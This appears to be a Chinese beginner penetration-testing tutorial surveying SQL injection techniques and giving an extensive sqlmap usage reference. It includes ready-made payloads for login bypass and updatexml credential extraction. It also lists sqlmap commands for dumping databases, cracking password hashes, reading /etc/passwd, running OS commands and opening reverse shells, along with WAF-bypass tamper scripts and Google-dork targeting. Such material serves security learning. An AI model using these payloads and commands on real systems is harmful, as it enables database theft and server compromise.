【零基础学渗透】SQL注入的常见方式汇总

【零基础学渗透】SQL注入的常见方式汇总

往期内容

学习路径

原理篇

  • sql注入基本原理
  • mysql注入有关知识点
  • sqli-lab实验环境搭建
  • GET基于报错的sql注入
  • 不再显错的盲注
  • Mysql注入读写文件
  • POST基于错误的注入
  • SQL注入绕过手段
  • POST基于时间与布尔盲注
  • HTTP头中的SQL注入
  • Post Update语句注入
  • Cookie注入
  • Cookie Base64注入
  • 绕过去除注释符的SQL注入
  • 绕过过滤and和or的SQL注入
  • 绕过去除空格的SQL注入
  • 绕过去除(union和select)的SQL注入
  • 宽字节注入
  • 二次注入分析

工具篇

  • Sqlmap工具的使用
  • Sqlmap工具的请求参数
  • Sqlmap工具指定位置的注入
  • Sqlmap工具的注入参数

视频学习

学习笔记

sql注入基本原理

科普:解释型 or 编译型语言

语言分类:解释型语言编译型语言

解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。

编译型语言是代码在生成时转换为机器指令,然后在运行时直接由使用该语言的计算机执行这些指令

在解释型语言中,如果程序与用户进行交互。用户就可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。

例如:在与用户交互的程序中,用户的输入拼接到SQL语句中,执行了与原定计划不同的行为,从而产生了SQL注入漏洞。

举例:’or 1=1绕过密码输入直接登录

登录业务系统的SQL语句

select* from admin where username=用户输入的用户名 and password=用户输入的密码

用户输入的内容可由用户自行控制,例如可以输入'or1=1-空格

拼接后的SQL语句

select* from admin where username='or1=1- and password=用户输入的密码

其中or1=1永远为真,-注释后边内容不再执行,因此SQL语句执行会返回 admin表中的所有内容。

危害总结

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  • 网页篡改:通过操作数据库对特定网页进行篡改。
  • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 破坏硬盘数据,瘫痪全系统。

sqli-labs靶场搭建

可以参考下面文章中的sqli-labs部分

GET基于报错的注入

参考文章

原理分析

通过单引号、双引号、括号、双括号来闭合sql语句,并把后面的语句内容注释掉,从而达到注入的目的

不再显错的盲注

参考文章

原理分析

Blind SQL(盲注)是注入攻击的其中一种,向数据库发送truefalse这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。

演示盲注问题。当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息。Blind SQL(盲注)常规注入很接近,不同的是数据库返回数据的检索方式,若数据库没有输出数据到web页面,攻击者会询问一些列的truefalse问题,强制从数据库中获取数据。

盲注流程

1.判断是否存在注入,注入是字符型还是数字型(方法同显注的union相同)

2.判断字段数(order by)

3.猜解数据库个数

4.猜解指定数据库名称长度

5.猜解指定数据库名称

6.猜解指定数据库中表的个数

7.猜解指定数据库中表名长度

8.猜解指定数据库中表名

9.猜解指定数据库中指定表的字段数

10.猜解指定数据库中指定表的字段长度

11.猜解指定数据库中指定表的字段名

12.猜解指定数据库中指定表的字段内容个数

13.猜解指定数据库中指定表的字段内容长度

14.猜解指定数据库中指定表的字段内容

POST基于报错的注入

参考文章

《sql POST基于错误的注入》

原理分析

Get和Post基于报错的注入,区别在于注入的位置不一样。

Get基于报错的注入,可以通过浏览器直接查看URL位置

而Post基于报错的注入需要使用Burpsuite截断表单,在表单中进行注入。

举例分析

POST基于时间和布尔的盲注

参考文章

原理分析

原理与Get基于时间和布尔的盲注相同,都是通过sleep等函数对数据库进行逐一猜解。

需要注意的是,此类注入,通常发生在表单数据中,实际操作时,凡是burp截断到的数据交互点,都值得一试。

HTTP头中的注入

参考文章

原理分析

http头部常见参数

User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)

图片[1]-【零基础学渗透】SQL注入的常见方式汇总-FancyPig's blog

Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密).

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).

Clien-IP:同上,不做过多介绍.

Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.

Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号(这个我本人还没碰到过,不过有真实存在的案例还是写上吧).

POST update语句注入

SQL update()介绍

首先介绍sql中的update():

updatexml(XML_document, XPath_string, new_value)

XML_document是文档对象的名称

XPath_string是XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值)

new_value替换查找到的数据

注入所用语句

updatexml(1,concat(0x7e,payload,0x7e),1)。

concat()函数用于将多个字符串连接成一个字符串,目的是让拼接后的字符串不符合XPath格式使其报错,显示出要查的对象。

最终的目的是使其报错,至于拼接的值多种多样,并不局限于0x7e(这里是16进制,对应的ascii码,显示出来是:~)。

ASCII码对照表查询:

图片[2]-【零基础学渗透】SQL注入的常见方式汇总-FancyPig's blog

http://ascii.911cha.com/

常用payload

爆数据库版本信息

?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

链接用户

?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

链接数据库

?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库

?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表

?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段

?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段内容

?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

Cookie注入

参考文章

常见问题

1.什么是cookie注入?

cookie注入的原理是:就要修改cookie的值,

♦cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。

♦相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。另外cookie注入的形

成有两个必须条件

条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。

条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。

2.为什么要cookie注入?

主要是看看程序员有没有在cookie中做了一些过滤,我们有没有可趁之机。

3.怎样cookie注入?

cookie注入分为以下几个阶段:

1. 判断是不是注入点

2.得到字段总数

3.查选表名

4..查选列名

5.脱裤(就是得到我们想得到列名的值)

绕过waf常见姿势

宽字节注入

参考文章

原理分析

宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码,目前比较少见,但是也有学习的价值。

二次注入

参考文章

原理分析

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

二次注入需要具备的两个条件

(1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)

(2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户

图片[3]-【零基础学渗透】SQL注入的常见方式汇总-FancyPig's blog
图片[4]-【零基础学渗透】SQL注入的常见方式汇总-FancyPig's blog

SQLMAP用法

参数说明

  • 基础信息
python sqlmap/sqlmap.py -u "http://url/news?id=1" --current-user #获取当前用户名称 
python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称
python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名 
python sqlmap/sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段
python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容
  • sqlmap一把梭
注入六连:
1.sqlmap -u "http://www.xx.com?id=x" 查询是否存在注入点
2.--dbs 检测站点包含哪些数据库
3.--current-db 获取当前的数据库名
4.--tables -D "db_name" 获取指定数据库中的表名 -D后接指定的数据库名称
5.--columns -T "table_name" -D "db_name" 获取数据库表中的字段
6.--dump -C "columns_name" -T "table_name" -D "db_name"

获取字段的数据内容
COOKIE注入:
sqlmap -u "http://www.xx.com/xxx.asp" --cookie "id=XXX cookie" --level 2 \
cookie注入 后接cookie值
POST注入:
(1)目标地址http:// http://www.xxx.com /login.asp
(2)打开burp代理
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
用例:sqlmap -r okay.txt -p username
// -r表示加载文件(及步骤(5)保存的路径)
-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)
(7)自动获取表单:--forms自动获取表单
例如:sqlmap -u http://www.xx.com/login.asp --forms
(8)指定参数搜索:--data
例如:sqlmap -u http://www.xx.com/login.asp --data "username=1"

常用指令:
--purge 【重新扫描(--purge 删除原先对该目标扫描的记录)
--tables 【获取表名
--dbs 【检测站点包含哪些数据库
--current-db 【获取当前的数据库名
--current-user 【检测当前用户
--is-dba 【判断站点的当前用户是否为数据库管理员
--batch 【默认确认,不询问你是否输入
--search 【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)
--threads 10 【线程,sqlmap线程最高设置为10
--level 3 【sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头
的值,
当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
--risk 3 【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
-v 【详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--privileges 【查看权限
--tamper xx.py,cc.py 【防火墙绕过,后接tamper库中的py文件
--method "POST" --data "page=1&id=2" 【POST方式提交数据
--threads number 【采用多线程 后接线程数
--referer "" 【使用referer欺骗
--user-agent "" 【自定义user-agent
--proxy “目标地址″ 【使用代理注入
  • 信息内容
python sqlmap/sqlmap.py -u "http://url/news?id=1"  --smart  --level 3 --users  # smart智能 level  执行测试等级
python sqlmap/sqlmap.py -u "http://url/news?id=1"  --dbms "Mysql" --users  # dbms 指定数据库类型
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --users  #列数据库用户
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs#列数据库 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --passwords #数据库用户密码 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --passwords-U root  -v 0 #列出指定用户数据库密码
python sqlmap/sqlmap.py -u "http://url/news?id=1"     --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20  #列出指定字段,列出20条 
 python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dump-all -v 0 #列出所有数据库所有表
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --privileges #查看权限 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --privileges -U root #查看指定用户权限
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --is-dba -v 1 #是否是数据库管理员
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --roles #枚举数据库用户角色 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --udf-inject #导入用户自定义函数(获取系统权限!)
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --dump-all --exclude-sysdbs -v 0 #列出当前库所有表
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --union-cols #union 查询表记录 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --cookie "COOKIE_VALUE" #cookie注入
python sqlmap/sqlmap.py -u "http://url/news?id=1"   -b #获取banner信息
python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3"  #post注入
python sqlmap/sqlmap.py -u "http://url/news?id=1"  -v 1 -f #指纹判别数据库类型 
python sqlmap/sqlmap.py -u "http://url/news?id=1"  --proxy"http://127.0.0.1:8118" #代理注入
python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"  #指定关键词
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --sql-shell #执行指定sql命令
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --file /etc/passwd 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-cmd=whoami #执行系统命令
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-shell #系统交互shell
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --os-pwn #反弹shell 
python sqlmap/sqlmap.py -u "http://url/news?id=1"   --reg-read #读取win系统注册表
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs-o "sqlmap.log" #保存进度 
python sqlmap/sqlmap.py -u "http://url/news?id=1"    --dbs  -o "sqlmap.log" --resume  #恢复已保存进度sqlmap -g "google语法" --dump-all --batch  #google搜索注入点自动 跑出所有字段攻击实例
python sqlmap/sqlmap.py -u "http://url/news?id=1&Submit=Submit" --cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users --password

使用指南

当给sqlmap这么一个url

http://www.target.com/sqlmap/mysql/get_int.php?id=1 的时候,它会:

1、判断可注入的参数

2、判断可以用那种SQL注入技术来注入

3、识别出哪种数据库

4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB

可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。

测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。

可以设定HTTP(S)请求的并发数,来提高盲注时的效率。

最新版本下载/更新方法

可以点击 https://github.com/sqlmapproject/sqlmap/tarball/master 下载最新版本sqlmap。

也可以使用git来获取sqlmap

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

之后可以直接使用命令来更新

python sqlmap.py --update

更新sqlmap

git pull

如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。

共有七个等级,默认为1:

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3。

获取目标方式

目标URL

参数:-u或者–url

格式:http(s)://targeturl[:port]/[…]

例如:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

从Burp或者WebScarab代理中获取日志

参数:-l

可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出来交给sqlmap来一个一个检测是否有注入。

从文本中获取多个目标扫描

参数:-m

文件中保存url格式如下,sqlmap会一个一个检测

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

从文件中加载HTTP请求

参数:-r

sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。

比如文本文件内如下:

POST /vuln.php HTTP/1.1 Host: www.target.com

User-Agent: Mozilla/4.0 id=1

当请求是HTTPS的时候你需要配合这个–force-ssl参数来使用,或者你可以在Host头后门加上:443

处理Google的搜索结果

参数:-g

sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。

例子:

python sqlmap.py -g “inurl:\”.php?id=1\””

此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。

构造请求

http数据

参数:–data

此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

参数拆分字符

参数:–param-del

当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

HTTP cookie头

参数:–cookie,–load-cookies,–drop-set-cookie

这个参数在以下两个方面很有用:

1、web应用需要登陆的时候。

2、你想要在这些头参数中测试SQL注入时。

可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。

在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。

如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。

当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。

HTTP User-Agent头

参数:–user-agent,–random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用–user-anget参数来修改,同时也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。

当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。

HTTP Referer头

参数:–referer

sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。

额外的HTTP头

参数:–headers

可以通过–headers参数来增加额外的http头

HTTP认证保护

参数:–auth-type,–auth-cred

这些参数可以用来登陆HTTP的认证保护支持三种方式:

1、Basic

2、Digest

3、NTLM

例子:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

HTTP协议的证书认证

参数:–auth-cert

当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。

key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

HTTP(S)代理

参数:–proxy,–proxy-cred和–ignore-proxy

使用–proxy代理是格式为:http://url:port。

当HTTP(S)代理需要认证是可以使用–proxy-cred参数:username:password。

–ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

HTTP请求延迟

参数:–delay

可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

设定超时时间

参数:–timeout

可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。

设定重试超时

参数:–retries

当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

设定随机改变的参数值

参数:–randomize

可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。

利用正则过滤目标网址

参数:–scope

例如:

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免过多的错误请求被屏蔽

参数:–safe-url,–safe-freq

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。

绕过这个策略有两种方式:

1、--safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。 2、--safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。

关掉URL参数值编码

参数:–skip-urlencode

根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用–skip-urlencode参数。

每次请求时候执行自定义的python代码

参数:–eval

在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。

例子:

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。

相关测试

测试参数

参数:-p,–skip

sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如: -p “id,user-anget”

当你使用–level的值很大但是有个别参数不想测试的时候可以使用–skip参数。

例如:–skip=”user-angent.referer”

在有些时候web服务器使用了URL重写,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*

例如:

python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

sqlmap将会测试value1的位置是否可注入。

指定数据库

参数:–dbms

默认情况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定数据库服务器系统

参数:–os

默认情况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。

指定无效的大数字

参数:–invalid-bignum

当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。

指定无效的逻辑

参数:–invalid-logical

原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。

注入payload

参数:–prefix,–suffix

在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如,代码中是这样调用数据库的:

$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要–prefix和–suffix参数了:

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

这样执行的SQL语句变成:

$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

修改注入的数据

参数:–tamper

sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用–tamper参数对数据做修改来绕过WAF等设备。

下面是一个tamper脚本的格式:

# Needed imports 
from lib.core.enums import PRIORITY 
# Define which is the order of application of tamper scripts against 
# the payload 
__priority__ = PRIORITY.NORMAL 
def tamper(payload):    
'''    Description of your tamper script    '''    
retVal = payload    
# your code to tamper the original payload    
# return the tampered payload    
return retVal

可以查看 tamper/ 目录下的有哪些可用的脚本

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 
[hh:mm:03] [DEBUG] cleaning up configuration parameters 
[hh:mm:03] [INFO] loading tamper script 'between' 
[hh:mm:03] [INFO] loading tamper script 'randomcase' 
[hh:mm:03] [INFO] loading tamper script 'space2comment' [...] 
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092 
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057 
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041 [...] 
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' 
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar( 58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/ ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/ group/**/bY/**/x)a) 
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable 
[...]

探测

探测等级

参数:–level

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。

这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。

总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

风险等级

参数:–risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

页面比较

参数:–string,–not-string,–regexp,–code

默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数–code=200。

参数:–text-only,–titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用–text-only(HTTP响应体中不同)–titles(HTML的title标签中不同)。

注入技术

测试是否是注入

参数:–technique

这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。

支持的探测方式如下:

B: Boolean-based blind SQL injection(布尔型注入)

E: Error-based SQL injection(报错型注入)

U: UNION query SQL injection(可联合查询注入)

S: Stacked queries SQL injection(可多语句查询注入)

T: Time-based blind SQL injection(基于时间延迟注入)

设定延迟注入的时间

参数:–time-sec

当使用基于时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。

设定UNION查询字段数

参数:–union-cols

默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候他会增加测试到50个字段数。设定–union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。

设定UNION查询使用的字符

参数:–union-char

默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用–union-char只定UNION查询的字符。

二阶SQL注入

参数:–second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。–second-order后门跟一个判断页面的URL地址。

列数据

合并起来使用:-current-user –current-db –is-dba –users

标志

参数:-b,–banner

大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

用户  sqlmap使用

参数:-current-user

在大多数据库中可以获取到管理数据的用户。

当前数据库

参数:–current-db

返还当前连接的数据库。

当前用户是否为管理用

参数:–is-dba

判断当前的用户是否为管理,是的话会返回True。

列数据库管理用户

参数:–users

当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

参数:–passwords

当前用户有权限读取包含用户密码的表的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1 [...] 
back-end DBMS: PostgreSQL 
[hh:mm:38] [INFO] fetching database users password hashes do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y 
[hh:mm:42] [INFO] using hash method: 'postgres_passwd' what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt' do you want to use common password suffixes? (slow!) [y/N] n 
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd) 
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser' 
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres' 
database management system users password hashes: 
[*] postgres [1]:    
password hash: md5d7d880f96044b72d0bba108ace96d1e4    
clear-text password: testpass 
[*] testuser [1]:    
password hash: md599e5ea7a6f7c3269995cba3927fd0093    
clear-text password: testpass

可以看到sqlmap不仅识别出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft SQL Server。

也可以提供-U参数来指定爆破哪个用户的hash。

列出数据库管理员权限

参数:–privileges

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数:–roles

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。

仅适用于当前数据库是Oracle的时候。

列出数据库系统的数据库

参数:–dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

列举数据库表

参数:–tables,–exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。

